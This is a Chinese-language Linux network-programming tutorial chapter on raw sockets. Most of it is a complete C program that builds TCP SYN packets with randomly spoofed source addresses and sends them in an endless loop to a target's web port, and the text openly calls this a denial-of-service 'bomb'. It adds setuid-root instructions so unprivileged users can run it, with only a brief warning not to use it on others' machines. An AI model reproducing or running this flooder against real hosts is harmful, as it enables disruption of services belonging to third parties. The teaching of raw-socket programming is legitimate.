(十)Linux網絡編程--10. 原始套接字

我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裏面我們一起來學習另外
一種套接字–原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能.
注意原始套接字只能夠由有 root權限的人創建.
10.1 原始套接字的創建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
詳細的情況查看 socket的man手冊 下面我們以一個實例來說明原始套接字的創建和使用
10.2 一個原始套接字的實例
還記得DOS是什麼意思嗎?在這裏我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼

/********************  DOS.c               *****************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define DESTPORT        80       /* 要攻擊的端口(WEB)      */
#define LOCALPORT       8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創建一個TCP的原始套接字    ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
}
/********  設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫  ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/****  沒有辦法,只用超級護用戶纔可以使用原始套接字    *********/
setuid(getpid());
/*********  發送炸彈了!!!!          ****/
send_tcp(sockfd,&addr);
} 

/*******  發送炸彈的實現   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];  /**** 用來放置我們的數據包  ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度  ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/********  填充IP數據包的頭部,還記得IP的頭格式嗎?     ******/ 
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度  **/
ip->ip_tos=0;                   /** 服務類型            **/
ip->ip_len=htons(head_len);     /** IP數據包的長度      **/
ip->ip_id=0;                    /** 讓系統去填寫吧      **/
ip->ip_off=0;                   /** 和上面一樣,省點時間 **/        
ip->ip_ttl=MAXTTL;              /** 最長的時間   255    **/
ip->ip_p=IPPROTO_TCP;           /** 我們要發的是 TCP包  **/ 
ip->ip_sum=0;                   /** 校驗和讓系統去做    **/
ip->ip_dst=addr->sin_addr;      /** 我們攻擊的對象      **/
/*******  開始填寫TCP數據包                           *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;           /** 目的端口    **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                        /** 我要建立連接 **/
tcp->check=0;

/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^  **/
while(1)
  {
/**  你不知道我是從那裏來的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();     
/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/**            下面這條可有可無    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
  short answer=0;
while(nleft>1)
{
  sum+=*w++;
  nleft-=2;
}
if(nleft==1)
{
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 爲了讓普通用戶可以運行這個程序,
我們應該將這個程序的所有者變爲root,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS

10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這裏面是不是有很多的樂趣呢.
當我們創建了一個 TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據後,
回自動的調用相應的模塊給數據加上TCP 頭部,然後加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們
發送出去. 在上面的實例中,由於我們要修改我們的源IP地址, 所以我們使用了setsockopt函數,如果我們只是修改TCP數據,
那麼IP數據一樣也可以由系統來創建的.

  1. 後記
    總算完成了網絡編程這個教程.算起來我差不多寫了一個星期,原來以爲寫這個應該是一件 不難的事,做起來才知道原來有很多的地方
    都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以後,我好象對網絡的認識又增加了一步.
    如果我們只是編寫一般的 網絡程序還是比較容易的,但是如果我們想寫出比較好的網絡程序我們還有着遙遠的路要走.
    網絡程序一般的來說都是多進程加上多線程的.爲了處理好他們內部的關係,我們還要學習 進程之間的通信.在網絡程序裏面有着許
    許多多的突發事件,爲此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,爲了處理好這些信息,我們還要去學習數據庫.
    如果要編寫出有用的黑客軟件,我們還要去熟悉各種網絡協議.總之我們要學的東西還很多很多.
    看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看我們自己的 軟件水平大家就會知道了什麼叫做差距.
    我們現在用的軟件有幾個是我們中國人自己編寫的. 不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的
    差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人!
    相信一點:
    別人可以做到的我們一樣可以做到,而且可以比別人做的更好!
    勇敢的年輕人,爲了我們偉大祖國的軟件產業,爲了祖國的未來,努力的去奮鬥吧!祖國會記住你們的!
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章